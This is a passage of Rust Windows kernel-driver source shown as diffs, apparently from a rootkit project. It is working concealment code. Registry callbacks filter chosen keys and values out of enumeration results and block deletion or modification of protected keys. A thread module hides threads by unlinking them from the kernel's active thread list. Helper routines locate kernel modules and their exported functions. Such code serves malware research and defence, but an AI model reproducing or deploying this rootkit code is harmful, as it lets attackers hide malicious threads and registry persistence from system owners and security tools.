pub static mut CALLBACK_REGISTRY: LARGE_INTEGER = unsafe { core::mem::zeroed() };
/// The registry callback function handles registry-related operations based on the notification class.
///
/// # Arguments
///
/// * `_callback_context` - A pointer to the callback context.
/// * `argument1` - A pointer to the notification class.
/// * `argument2` - A pointer to the information related to the registry operation.
///
/// # Returns
///
/// A status code indicating the result of the operation.
pub unsafe extern "C" fn registry_callback(
_callback_context: *mut c_void,
argument1: *mut c_void,
argument2: *mut c_void,
) -> NTSTATUS {
let status;
let reg_notify_class = argument1 as i32;
match reg_notify_class {
RegNtPreSetValueKey => {
status = pre_set_value_key(argument2 as *mut REG_SET_VALUE_KEY_INFORMATION);
}
RegNtPreDeleteValueKey => {
status = pre_delete_value_key(argument2 as *mut REG_DELETE_VALUE_KEY_INFORMATION);
}
RegNtPreDeleteKey => {
status = pre_delete_key(argument2 as *mut REG_DELETE_KEY_INFORMATION);
}
RegNtPreQueryKey => {
status = pre_query_key(argument2 as *mut REG_QUERY_KEY_INFORMATION);
}
RegNtPostEnumerateKey => {
status = post_enumerate_key(argument2 as *mut REG_POST_OPERATION_INFORMATION);
}
RegNtPostEnumerateValueKey => {
status = post_enumerate_key_value(argument2 as *mut REG_POST_OPERATION_INFORMATION);
}
_ => status = STATUS_SUCCESS,
}
status
}
/// Handles the pre-delete key operation.
///
/// # Arguments
///
/// * `info` - A pointer to `REG_DELETE_KEY_INFORMATION`.
///
/// # Returns
///
/// A status code indicating success or failure.
unsafe fn pre_delete_key(info: *mut REG_DELETE_KEY_INFORMATION) -> NTSTATUS {
let status;
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
return STATUS_SUCCESS;
}
let key = match read_key(info) {
Ok(key) => key,
Err(err) => return err,
};
status = if Registry::check_key(key, PROTECTION_KEYS.lock()) {
STATUS_ACCESS_DENIED
} else {
STATUS_SUCCESS
};
status
}
/// Performs the post-operation to enumerate registry key values.
///
/// # Arguments
///
/// * `info` - Pointer to the information structure of the post-execution logging operation.
///
/// # Returns
///
/// The status of the operation. If the key value is found and handled correctly, returns `STATUS_SUCCESS`.
unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTATUS {
if !NT_SUCCESS((*info).Status) {
return (*info).Status;
}
let key = match read_key(info) {
Ok(key) => key,
Err(err) => return err,
};
if !check_key_value(info, key.clone()) {
return STATUS_SUCCESS;
}
let pre_info =
match ((*info).PreInformation as *mut REG_ENUMERATE_VALUE_KEY_INFORMATION).as_ref() {
Some(pre_info) => pre_info,
None => return STATUS_SUCCESS,
};
let mut key_handle = null_mut();
let status = ObOpenObjectByPointer(
(*info).Object,
OBJ_KERNEL_HANDLE,
null_mut(),
KEY_ALL_ACCESS,
*CmKeyObjectType,
KernelMode as i8,
&mut key_handle,
);
if !NT_SUCCESS(status) {
println!("ObOpenObjectByPointer Failed With Status: {status}");
return STATUS_SUCCESS;
}
let buffer = match PoolMemory::new(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, "jdrf") {
Some(mem) => mem.ptr as *mut u8,
None => {
println!("PoolMemory (Enumerate Key) Failed");
ZwClose(key_handle);
return STATUS_SUCCESS;
}
};
let mut result_length = 0;
let mut counter = 0;
while let Some(value_name) = enumerate_value_key(
key_handle,
pre_info.Index + counter,
buffer,
(*pre_info).Length,
(*pre_info).KeyValueInformationClass,
&mut result_length,
) {
if !Registry::check_target(key.clone(), value_name.clone(), HIDE_KEY_VALUES.lock()) {
if let Some(pre_info_key_info) = (pre_info.KeyValueInformation as *mut c_void).as_mut()
{
*(*pre_info).ResultLength = result_length;
core::ptr::copy_nonoverlapping(
buffer,
pre_info_key_info as *mut _ as *mut u8,
result_length as usize,
);
break;
} else {
println!("Failed to copy key information.");
break;
}
} else {
counter += 1;
}
}
ZwClose(key_handle);
STATUS_SUCCESS
}
/// Performs the post-operation to enumerate registry keys.
///
/// # Arguments
///
/// * `info` - Pointer to the information structure of the post-execution logging operation.
///
/// # Returns
///
/// The status of the operation, keeping the original status if the previous operation failed.
unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTATUS {
if !NT_SUCCESS((*info).Status) {
return (*info).Status;
}
let key = match read_key(info) {
Ok(key) => key,
Err(err) => return err,
};
if !check_key(info, key.clone()) {
return STATUS_SUCCESS;
}
let pre_info = match ((*info).PreInformation as *mut REG_ENUMERATE_KEY_INFORMATION).as_ref() {
Some(pre_info) => pre_info,
None => return STATUS_SUCCESS,
};
let mut key_handle = null_mut();
let status = ObOpenObjectByPointer(
(*info).Object,
OBJ_KERNEL_HANDLE,
null_mut(),
KEY_ALL_ACCESS,
*CmKeyObjectType,
KernelMode as i8,
&mut key_handle,
);
if !NT_SUCCESS(status) {
println!("ObOpenObjectByPointer Failed With Status: {status}");
return STATUS_SUCCESS;
}
let buffer = match PoolMemory::new(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, "jdrf") {
Some(mem) => mem.ptr as *mut u8,
None => {
println!("PoolMemory (Enumerate Key) Failed");
ZwClose(key_handle);
return STATUS_SUCCESS;
}
};
let mut result_length = 0;
let mut counter = 0;
while let Some(key_name) = enumerate_key(
key_handle,
pre_info.Index + counter,
buffer,
(*pre_info).Length,
(*pre_info).KeyInformationClass,
&mut result_length,
) {
if !Registry::check_key(format!("{key}\\{key_name}"), HIDE_KEYS.lock()) {
if let Some(pre_info_key_info) = (pre_info.KeyInformation as *mut c_void).as_mut() {
*(*pre_info).ResultLength = result_length;
core::ptr::copy_nonoverlapping(
buffer,
pre_info_key_info as *mut _ as *mut u8,
result_length as usize,
);
break;
} else {
println!("Failed to copy key information.");
break;
}
} else {
counter += 1;
}
}
ZwClose(key_handle);
STATUS_SUCCESS
}
/// Handles the pre-query key operation.
///
/// # Arguments
///
/// * `info` - A pointer to `REG_QUERY_KEY_INFORMATION`.
///
/// # Returns
///
/// A status code indicating success or failure.
unsafe fn pre_query_key(info: *mut REG_QUERY_KEY_INFORMATION) -> NTSTATUS {
let status;
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
return STATUS_SUCCESS;
}
let key = match read_key(info) {
Ok(key) => key,
Err(err) => return err,
};
status = if Registry::check_key(key.clone(), HIDE_KEYS.lock()) {
STATUS_SUCCESS
} else {
STATUS_SUCCESS
};
status
}
/// Handles the pre-delete value key operation.
///
/// # Arguments
///
/// * `info` - A pointer to `REG_DELETE_VALUE_KEY_INFORMATION`.
///
/// # Returns
///
/// A status code indicating success or failure.
unsafe fn pre_delete_value_key(info: *mut REG_DELETE_VALUE_KEY_INFORMATION) -> NTSTATUS {
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
return STATUS_SUCCESS;
}
let key = match read_key(info) {
Ok(key) => key,
Err(err) => return err,
};
let value_name = (*info).ValueName;
if (*info).ValueName.is_null()
|| (*value_name).Buffer.is_null()
|| (*value_name).Length == 0
|| !valid_kernel_memory((*value_name).Buffer as u64)
{
return STATUS_SUCCESS;
}
let buffer =
core::slice::from_raw_parts((*value_name).Buffer, ((*value_name).Length / 2) as usize);
let name = String::from_utf16_lossy(buffer);
if Registry::<(String, String)>::check_target(
key.clone(),
name.clone(),
PROTECTION_KEY_VALUES.lock(),
) {
STATUS_ACCESS_DENIED
} else {
STATUS_SUCCESS
}
}
/// Handles the pre-set value key operation.
///
/// # Arguments
///
/// * `info` - A pointer to `REG_SET_VALUE_KEY_INFORMATION`.
///
/// # Returns
///
/// A status code indicating success or failure.
unsafe fn pre_set_value_key(info: *mut REG_SET_VALUE_KEY_INFORMATION) -> NTSTATUS {
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
return STATUS_SUCCESS;
}
let key = match read_key(info) {
Ok(key) => key,
Err(err) => return err,
};
let value_name = (*info).ValueName;
if (*info).ValueName.is_null()
|| (*value_name).Buffer.is_null()
|| (*value_name).Length == 0
|| !valid_kernel_memory((*value_name).Buffer as u64)
{
return STATUS_SUCCESS;
}
let buffer =
core::slice::from_raw_parts((*value_name).Buffer, ((*value_name).Length / 2) as usize);
let name = String::from_utf16_lossy(buffer);
if Registry::check_target(key.clone(), name.clone(), PROTECTION_KEY_VALUES.lock()) {
STATUS_ACCESS_DENIED
} else {
STATUS_SUCCESS
}
}
/// Reads the key name from the registry information.
///
/// # Arguments
///
/// * `info` - A pointer to the registry information.
///
/// # Returns
///
/// The key name.
unsafe fn read_key<T: RegistryInfo>(info: *mut T) -> Result<String, NTSTATUS> {
let mut reg_path = core::ptr::null::<UNICODE_STRING>();
let status = CmCallbackGetKeyObjectIDEx(
core::ptr::addr_of_mut!(CALLBACK_REGISTRY),
(*info).get_object(),
null_mut(),
&mut reg_path,
0,
);
if !NT_SUCCESS(status) {
return Err(STATUS_SUCCESS);
}
if reg_path.is_null()
|| (*reg_path).Buffer.is_null()
|| (*reg_path).Length == 0
|| !valid_kernel_memory((*reg_path).Buffer as u64)
{
CmCallbackReleaseKeyObjectIDEx(reg_path);
return Err(STATUS_SUCCESS);
}
let buffer = core::slice::from_raw_parts((*reg_path).Buffer, ((*reg_path).Length / 2) as usize);
let name = String::from_utf16_lossy(buffer);
CmCallbackReleaseKeyObjectIDEx(reg_path);
Ok(name)
}

View File

@@ -0,0 +1,248 @@
use alloc::{
string::{String, ToString},
vec::Vec,
};
use spin::{lazy::Lazy, Mutex, MutexGuard};
use wdk_sys::{NTSTATUS, STATUS_DUPLICATE_OBJECTID, STATUS_SUCCESS, STATUS_UNSUCCESSFUL};
use common::structs::TargetRegistry;
use core::marker::PhantomData;
/// Callback module
pub mod callback;
/// Utility functions
mod utils;
pub use utils::*;
/// Max Number Registry
const MAX_REGISTRY: usize = 100;
/// List of protection key-value pairs.
pub static PROTECTION_KEY_VALUES: Lazy<Mutex<Vec<(String, String)>>> =
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_REGISTRY)));
/// List of protection keys.
static PROTECTION_KEYS: Lazy<Mutex<Vec<String>>> =
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_REGISTRY)));
/// List of hidden keys.
static HIDE_KEYS: Lazy<Mutex<Vec<String>>> =
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_REGISTRY)));
/// List of hidden key-value pairs.
static HIDE_KEY_VALUES: Lazy<Mutex<Vec<(String, String)>>> =
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_REGISTRY)));
/// Trait defining common operations for registry lists.
trait RegistryList<T> {
/// Adds an item to the registry list.
///
/// # Arguments
///
/// * `list` - A mutable reference to the list.
/// * `item` - The item to be added.
///
/// # Returns
///
/// Status code indicating success (`STATUS_SUCCESS`), duplicate (`STATUS_DUPLICATE_OBJECTID`),
/// or failure (`STATUS_UNSUCCESSFUL`).
fn add_item(list: &mut Vec<T>, item: T) -> NTSTATUS;
/// Removes an item from the registry list.
///
/// # Arguments
///
/// * `list` - A mutable reference to the list.
/// * `item` - The item to be removed.
///
/// # Returns
///
/// Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`).
fn remove_item(list: &mut Vec<T>, item: &T) -> NTSTATUS;
/// Checks if an item is in the registry list.
///
/// # Arguments
///
/// * `list` - A reference to the list.
/// * `item` - The item to be checked.
///
/// # Returns
///
/// If the item is in the list.
fn contains_item(list: &Vec<T>, item: &T) -> bool;
}
/// Implementation of `RegistryList` for key-value pairs.
impl RegistryList<(String, String)> for Vec<(String, String)> {
fn add_item(list: &mut Vec<(String, String)>, item: (String, String)) -> NTSTATUS {
if list.len() >= MAX_REGISTRY {
return STATUS_UNSUCCESSFUL;
}
if list.iter().any(|(k, v)| k == &item.0 && v == &item.1) {
return STATUS_DUPLICATE_OBJECTID;
}
list.push(item);
STATUS_SUCCESS
}
fn remove_item(list: &mut Vec<(String, String)>, item: &(String, String)) -> NTSTATUS {
if let Some(index) = list.iter().position(|(k, v)| k == &item.0 && v == &item.1) {
list.remove(index);
STATUS_SUCCESS
} else {
STATUS_UNSUCCESSFUL
}
}
fn contains_item(list: &Vec<(String, String)>, item: &(String, String)) -> bool {
list.contains(item)
}
}
/// Implementation of `RegistryList` for strings.
impl RegistryList<String> for Vec<String> {
fn add_item(list: &mut Vec<String>, item: String) -> NTSTATUS {
if list.len() >= MAX_REGISTRY {
return STATUS_UNSUCCESSFUL;
}
if list.contains(&item) {
return STATUS_DUPLICATE_OBJECTID;
}
list.push(item);
STATUS_SUCCESS
}
fn remove_item(list: &mut Vec<String>, item: &String) -> NTSTATUS {
if let Some(index) = list.iter().position(|k| k == item) {
list.remove(index);
STATUS_SUCCESS
} else {
STATUS_UNSUCCESSFUL
}
}
fn contains_item(list: &Vec<String>, item: &String) -> bool {
list.contains(item)
}
}
/// Structure representing registry operations.
pub struct Registry<T> {
_marker: PhantomData<T>,
}
impl Registry<(String, String)> {
/// Adds or removes a key-value pair from the list of protected or hidden values.
///
/// # Arguments
///
/// * `target` - A pointer to a `TargetRegistry` structure representing the key-value pair.
/// * `type_` - An enum indicating whether to protect or hide the key-value pair.
///
/// # Returns
///
/// Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`).
pub fn modify_key_value(target: *mut TargetRegistry, type_: Type) -> NTSTATUS {
let key = unsafe { (*target).key.clone() };
let value = unsafe { (*target).value.clone() };
let enable = unsafe { (*target).enable };
let status = match type_ {
Type::Protect => {
let mut list = PROTECTION_KEY_VALUES.lock();
if enable {
Vec::<(String, String)>::add_item(&mut list, (key, value))
} else {
Vec::<(String, String)>::remove_item(&mut list, &(key, value))
}
}
Type::Hide => {
let mut list = HIDE_KEY_VALUES.lock();
if enable {
Vec::<(String, String)>::add_item(&mut list, (key, value))
} else {
Vec::<(String, String)>::remove_item(&mut list, &(key, value))
}
}
};
status
}
/// Checks if a key-value pair exists in the list of protected values.
///
/// # Arguments
///
/// * `key` - The key to check.
/// * `value` - The value to check.
/// * `list` - A guard that provides access to the list.
///
/// # Returns
///
/// If the key-value pair exists in the list,
pub fn check_target(
key: String,
value: String,
list: MutexGuard<Vec<(String, String)>>,
) -> bool {
Vec::<(String, String)>::contains_item(&list, &(key, value))
}
}
impl Registry<String> {
/// Adds or removes a key from the list of protected or hidden keys.
///
/// # Arguments
///
/// * `target` - A pointer to a `TargetRegistry` structure representing the key.
/// * `list_type` - An enum indicating whether to protect or hide the key.
///
/// # Returns
///
/// Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`).
pub fn modify_key(target: *mut TargetRegistry, list_type: Type) -> NTSTATUS {
let key = unsafe { &(*target).key }.to_string();
let enable = unsafe { (*target).enable };
let status = match list_type {
Type::Protect => {
let mut list = PROTECTION_KEYS.lock();
if enable {
Vec::add_item(&mut list, key)
} else {
Vec::remove_item(&mut list, &key)
}
}
Type::Hide => {
let mut list = HIDE_KEYS.lock();
if enable {
Vec::add_item(&mut list, key)
} else {
Vec::remove_item(&mut list, &key)
}
}
};
status
}
/// Checks if a key exists in the list of protected keys.
///
/// # Arguments
///
/// * `key` - The key to check.
/// * `list` - A guard that provides access to the list.
///
/// # Returns
///
/// If the key exists in the list
pub fn check_key(key: String, list: MutexGuard<Vec<String>>) -> bool {
Vec::contains_item(&list, &key)
}
}

View File

@@ -0,0 +1,285 @@
#![allow(non_upper_case_globals)]
use core::{ffi::c_void, mem::size_of, slice::from_raw_parts};
use wdk::println;
use wdk_sys::*;
use wdk_sys::{
ntddk::{ZwEnumerateKey, ZwEnumerateValueKey},
_KEY_INFORMATION_CLASS::{KeyBasicInformation, KeyNameInformation},
_KEY_VALUE_INFORMATION_CLASS::{
KeyValueBasicInformation, KeyValueFullInformation, KeyValueFullInformationAlign64,
},
};
use super::{Registry, HIDE_KEYS, HIDE_KEY_VALUES};
use alloc::{format, string::String};
/// Checks if a specified registry key is present in the list of hidden keys.
///
/// # Arguments
///
/// * `info` - Pointer to the operation information structure containing registry details.
/// * `key` - The name of the registry key to be checked.
///
/// # Returns
///
/// If the key is found in the hidden keys list
pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String) -> bool {
// Extracting pre-information from the registry operation
let info_class = (*info).PreInformation as *mut REG_ENUMERATE_KEY_INFORMATION;
match (*info_class).KeyInformationClass {
// Check for basic key information
KeyBasicInformation => {
let basic_information = (*info_class).KeyInformation as *mut KEY_BASIC_INFORMATION;
let name = from_raw_parts(
(*basic_information).Name.as_ptr(),
((*basic_information).NameLength / size_of::<u16>() as u32) as usize,
);
// Construct the full key path
let key = format!("{key}\\{}", String::from_utf16_lossy(name));
if Registry::check_key(key.clone(), HIDE_KEYS.lock()) {
return true;
}
}
// Check for key name information
KeyNameInformation => {
let basic_information = (*info_class).KeyInformation as *mut KEY_NAME_INFORMATION;
let name = from_raw_parts(
(*basic_information).Name.as_ptr(),
((*basic_information).NameLength / size_of::<u16>() as u32) as usize,
);
// Construct the full key path
let key = format!("{key}\\{}", String::from_utf16_lossy(name));
if Registry::check_key(key.clone(), HIDE_KEYS.lock()) {
return true;
}
}
_ => {}
}
false
}
/// Checks if a specified registry key-value pair is present in the list of hidden key-values.
///
/// # Arguments
///
/// * `info` - Pointer to the operation information structure containing registry value details.
/// * `key` - The name of the registry key associated with the value to be checked.
///
/// # Returns
///
/// If the key-value pair is found in the hidden key-values list,
pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: String) -> bool {
// Extracting pre-information from the registry operation
let info_class = (*info).PreInformation as *const REG_ENUMERATE_VALUE_KEY_INFORMATION;
match (*info_class).KeyValueInformationClass {
// Check for basic key value information
KeyValueBasicInformation => {
let value = (*info_class).KeyValueInformation as *const KEY_VALUE_BASIC_INFORMATION;
let name = from_raw_parts(
(*value).Name.as_ptr(),
((*value).NameLength / size_of::<u16>() as u32) as usize,
);
let value = String::from_utf16_lossy(name);
if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) {
return true;
}
}
// Check for full key value information
KeyValueFullInformationAlign64 | KeyValueFullInformation => {
let value = (*info_class).KeyValueInformation as *const KEY_VALUE_FULL_INFORMATION;
let name = from_raw_parts(
(*value).Name.as_ptr(),
((*value).NameLength / size_of::<u16>() as u32) as usize,
);
let value = String::from_utf16_lossy(name);
if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) {
return true;
}
}
_ => {}
}
false
}
/// Enumerates the specified registry key and retrieves its name.
///
/// # Arguments
///
/// * `key_handle` - Handle of the target registry key.
/// * `index` - The index to be enumerated.
/// * `buffer` - Buffer that will store the registry key information.
/// * `buffer_size` - Size of the buffer.
/// * `key_information` - Type of information to retrieve about the target registry key.
/// * `result_length` - Pointer to store the size of the result.
///
/// # Returns
///
/// Containing the name of the registry key if successful,
pub unsafe fn enumerate_key(
key_handle: HANDLE,
index: u32,
buffer: *mut u8,
buffer_size: u32,
key_information: KEY_INFORMATION_CLASS,
result_length: &mut u32,
) -> Option<String> {
// Enumerate the registry key using ZwEnumerateKey
let status = ZwEnumerateKey(
key_handle,
index,
key_information,
buffer as *mut c_void,
buffer_size,
result_length,
);
// Check if there are no more entries
if status == STATUS_NO_MORE_ENTRIES {
return None;
}
// Check if the operation was successful
if !NT_SUCCESS(status) {
println!("ZwEnumerateKey Failed With Status: {status}");
return None;
}
// Process the key information based on the specified class
match key_information {
KeyBasicInformation => {
let basic_information = &*(buffer as *const KEY_BASIC_INFORMATION);
let name = from_raw_parts(
(*basic_information).Name.as_ptr(),
((*basic_information).NameLength / size_of::<u16>() as u32) as usize,
);
Some(String::from_utf16_lossy(name))
}
KeyNameInformation => {
let basic_information = &*(buffer as *const KEY_NAME_INFORMATION);
let name = from_raw_parts(
(*basic_information).Name.as_ptr(),
((*basic_information).NameLength / size_of::<u16>() as u32) as usize,
);
Some(String::from_utf16_lossy(name))
}
_ => None,
}
}
/// Enumerates the values of the specified registry key.
///
/// # Arguments
///
/// * `key_handle` - Handle of the target registry key.
/// * `index` - The index to be enumerated.
/// * `buffer` - Buffer that will store the registry key values.
/// * `buffer_size` - Size of the buffer.
/// * `key_value_information` - Type of information to retrieve about the registry key value.
/// * `result_length` - Pointer to store the size of the result.
///
/// # Returns
///
/// Containing the name of the registry key value if successful.
pub unsafe fn enumerate_value_key(
key_handle: HANDLE,
index: u32,
buffer: *mut u8,
buffer_size: u32,
key_value_information: KEY_VALUE_INFORMATION_CLASS,
result_length: &mut u32,
) -> Option<String> {
// Enumerate the registry value using ZwEnumerateValueKey
let status = ZwEnumerateValueKey(
key_handle,
index,
key_value_information,
buffer as *mut c_void,
buffer_size,
result_length,
);
// Check if there are no more entries
if status == STATUS_NO_MORE_ENTRIES {
return None;
}
// Check if the operation was successful
if !NT_SUCCESS(status) {
println!("ZwEnumerateValueKey Failed With Status: {status}");
return None;
}
// Process the key value information based on the specified class
match key_value_information {
KeyValueBasicInformation | KeyValueFullInformationAlign64 | KeyValueFullInformation => {
let value_info = &*(buffer as *const KEY_VALUE_FULL_INFORMATION);
let value_name_utf16: &[u16] = from_raw_parts(
value_info.Name.as_ptr(),
(value_info.NameLength / size_of::<u16>() as u32) as usize,
);
Some(String::from_utf16_lossy(value_name_utf16))
}
_ => None,
}
}
/// Trait for accessing the object in registry information.
pub trait RegistryInfo {
/// Retrieves a pointer to the registry object.
///
/// # Returns
///
/// A raw pointer to the registry object.
fn get_object(&self) -> *mut c_void;
}
impl RegistryInfo for REG_DELETE_KEY_INFORMATION {
fn get_object(&self) -> *mut c_void {
self.Object
}
}
impl RegistryInfo for REG_DELETE_VALUE_KEY_INFORMATION {
fn get_object(&self) -> *mut c_void {
self.Object
}
}
impl RegistryInfo for REG_SET_VALUE_KEY_INFORMATION {
fn get_object(&self) -> *mut c_void {
self.Object
}
}
impl RegistryInfo for REG_QUERY_KEY_INFORMATION {
fn get_object(&self) -> *mut c_void {
self.Object
}
}
impl RegistryInfo for REG_POST_OPERATION_INFORMATION {
fn get_object(&self) -> *mut c_void {
self.Object
}
}
/// Enum representing the types of operations to be done with the Registry.
pub enum Type {
/// Hides the specified key or key-value.
Hide,
/// Protects the specified key or key-value from being modified.
Protect,
}

View File

@@ -0,0 +1,171 @@
use alloc::vec::Vec;
use common::structs::TargetThread;
use spin::{lazy::Lazy, mutex::Mutex};
use wdk_sys::{ntddk::*, *};
use crate::{
error::{ShadowError, ShadowResult},
lock::with_push_lock_exclusive,
offsets::{get_thread_list_entry_offset, get_thread_lock_offset},
};
// Max Number TIDS
const MAX_TID: usize = 100;
/// List of target threads protected by a mutex.
pub static THREAD_INFO_HIDE: Lazy<Mutex<Vec<TargetThread>>> =
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_TID)));
/// Represents a thread in the operating system.
pub struct Thread {
/// Pointer to the ETHREAD structure, used for managing thread information.
pub e_thread: PETHREAD,
}
impl Thread {
/// Creates a new [`Thread`].
///
/// # Arguments
///
/// * `tid` - The thread identifier (TID) of the thread to be looked up.
///
/// # Examples
///
/// ```rust,ignore
/// let thread = Thread::new(1234);
/// match thread {
/// Ok(thre) => println!("Thread found: {:?}", thre.e_thread),
/// Err(e) => println!("Error: {}", e),
/// }
/// ```
#[inline]
pub fn new(tid: usize) -> ShadowResult<Self> {
let mut e_thread = core::ptr::null_mut();
let status = unsafe { PsLookupThreadByThreadId(tid as _, &mut e_thread) };
if NT_SUCCESS(status) {
Ok(Self { e_thread })
} else {
Err(ShadowError::ApiCallFailed(
"PsLookupThreadByThreadId",
status,
))
}
}
/// Hides a thread by removing it from the active thread list in the operating system.
///
/// # Arguments
///
/// * `tid` - The thread identifier (TID) of the target thread to be hidden.
///
/// # Returns
///
/// The previous `LIST_ENTRY` containing the pointers to the neighboring threads
/// in the list before it was modified.
pub unsafe fn hide_thread(tid: usize) -> ShadowResult<LIST_ENTRY> {
// Getting offsets based on the Windows build number
let active_thread_link = get_thread_list_entry_offset();
let offset_lock = get_thread_lock_offset();
// Retrieving ETHREAD from the target thread
let thread = Self::new(tid)?;
// Retrieve the `LIST_ENTRY` for the active thread link, which connects the thread
// to the list of active threads in the system.
let current = thread.e_thread.cast::<u8>().offset(active_thread_link) as PLIST_ENTRY;
let push_lock = thread.e_thread.cast::<u8>().offset(offset_lock) as *mut u64;
// Use synchronization to ensure thread safety while modifying the list
with_push_lock_exclusive(push_lock, || {
// The next thread in the chain
let next = (*current).Flink;
// The previous thread in the chain
let previous = (*current).Blink;
// Storing the previous list entry, which will be returned
let previous_link = LIST_ENTRY {
Flink: next as *mut LIST_ENTRY,
Blink: previous as *mut LIST_ENTRY,
};
// Unlink the thread from the active list
(*next).Blink = previous;
(*previous).Flink = next;
// Make the current list entry point to itself to hide the thread
(*current).Flink = current;
(*current).Blink = current;
Ok(previous_link)
})
}
/// Unhides a thread by restoring it to the active thread list in the operating system.
///
/// # Arguments
///
/// * `tid` - The thread identifier (TID) of the target thread to be unhidden.
/// * `list_entry` - A pointer to the previous `LIST_ENTRY`, containing the neighboring threads in the list,
/// which was saved when the thread was hidden.
///
/// # Returns
///
/// Indicates the thread was successfully restored to the active list.
pub unsafe fn unhide_thread(tid: usize, list_entry: PLIST_ENTRY) -> ShadowResult<NTSTATUS> {
// Getting offsets based on the Windows build number
let active_thread_link = get_thread_list_entry_offset();
let offset_lock = get_thread_lock_offset();
// Retrieving ETHREAD from the target thread
let thread = Self::new(tid)?;
// Retrieve the `LIST_ENTRY` for the active thread link, which connects the thread
// to the list of active threads in the system.
let current = thread.e_thread.cast::<u8>().offset(active_thread_link) as PLIST_ENTRY;
let push_lock = thread.e_thread.cast::<u8>().offset(offset_lock) as *mut u64;
// Use synchronization to ensure thread safety while modifying the list
with_push_lock_exclusive(push_lock, || {
// Restore the `Flink` and `Blink` from the saved `list_entry`
(*current).Flink = (*list_entry).Flink as *mut _LIST_ENTRY;
(*current).Blink = (*list_entry).Blink as *mut _LIST_ENTRY;
// Re-link the process to the neighboring processes in the chain
let next = (*current).Flink;
let previous = (*current).Blink;
(*next).Blink = current;
(*previous).Flink = current;
});
Ok(STATUS_SUCCESS)
}
/// Enumerates all currently hidden threads.
///
/// # Returns
///
/// A vector containing the information of all hidden threads.
pub unsafe fn enumerate_hide_threads() -> Vec<TargetThread> {
let mut threads: Vec<TargetThread> = Vec::new();
let thread_info = THREAD_INFO_HIDE.lock();
for i in thread_info.iter() {
threads.push(TargetThread {
tid: (*i).tid as usize,
..Default::default()
});
}
threads
}
}
impl Drop for Thread {
fn drop(&mut self) {
if !self.e_thread.is_null() {
unsafe { ObfDereferenceObject(self.e_thread.cast()) };
}
}
}

View File

@@ -0,0 +1,128 @@
use alloc::string::ToString;
use core::{
ffi::{c_void, CStr},
ptr::null_mut,
slice::from_raw_parts,
};
use ntapi::ntexapi::SystemModuleInformation;
use wdk_sys::{NT_SUCCESS, POOL_FLAG_NON_PAGED};
use super::pool::PoolMemory;
use crate::{
data::{ZwQuerySystemInformation, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS},
error::{ShadowError, ShadowResult},
SystemModuleInformation,
};
/// Gets the base address of a specified module by querying system module information.
///
/// # Arguments
///
/// * `module_name` - A string slice containing the name of the module to locate.
///
/// # Returns
///
/// A pointer to the base address of the module if found.
pub unsafe fn get_module_base_address(module_name: &str) -> ShadowResult<*mut c_void> {
// Initial call to ZwQuerySystemInformation to get the required buffer size for system module info
let mut return_bytes = 0;
ZwQuerySystemInformation(SystemModuleInformation, null_mut(), 0, &mut return_bytes);
// Allocates non-paged pool memory to store system module information
let info_module = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, "dsdx")
.map(|mem| mem.ptr as *mut SystemModuleInformation) // Converts to the appropriate type
.ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?;
// Clears the allocated memory to ensure no garbage data is present
core::ptr::write_bytes(info_module as *mut u8, 0, return_bytes as usize);
// Retrieves the actual system module information
let status = ZwQuerySystemInformation(
SystemModuleInformation,
info_module as *mut c_void,
return_bytes,
&mut return_bytes,
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed(
"ZwQuerySystemInformation",
status,
));
}
// Iterates over the list of modules to find the one that matches the provided name
let module_count = (*info_module).ModuleCount;
for i in 0..module_count as usize {
let name = (*info_module).Modules[i].ImageName;
let module_base = (*info_module).Modules[i].ImageBase as *mut c_void;
if let Ok(name_str) = core::str::from_utf8(&name) {
if name_str.contains(module_name) {
return Ok(module_base);
}
}
}
// If the module is not found, return an error
Err(ShadowError::FunctionExecutionFailed(
"get_module_base_address",
line!(),
))
}
/// Gets the address of a specified function within a module.
///
/// # Arguments
///
/// * `function_name` - A string slice containing the name of the function.
/// * `dll_base` - A pointer to the base address of the DLL.
///
/// # Returns
///
/// An pointer to the function's address.
pub unsafe fn get_function_address(
function_name: &str,
dll_base: *mut c_void,
) -> ShadowResult<*mut c_void> {
let dos_header = dll_base as *const IMAGE_DOS_HEADER;
let nt_header =
(dll_base as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS;
// Retrieves the size of the export table
let export_directory = (dll_base as usize
+ (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize)
as *const IMAGE_EXPORT_DIRECTORY;
// Retrieving information from module names
let names = from_raw_parts(
(dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32,
(*export_directory).NumberOfNames as usize,
);
// Retrieving information from functions
let functions = from_raw_parts(
(dll_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32,
(*export_directory).NumberOfFunctions as usize,
);
// Retrieving information from ordinals
let ordinals = from_raw_parts(
(dll_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,
(*export_directory).NumberOfNames as usize,
);
for i in 0..(*export_directory).NumberOfNames as usize {
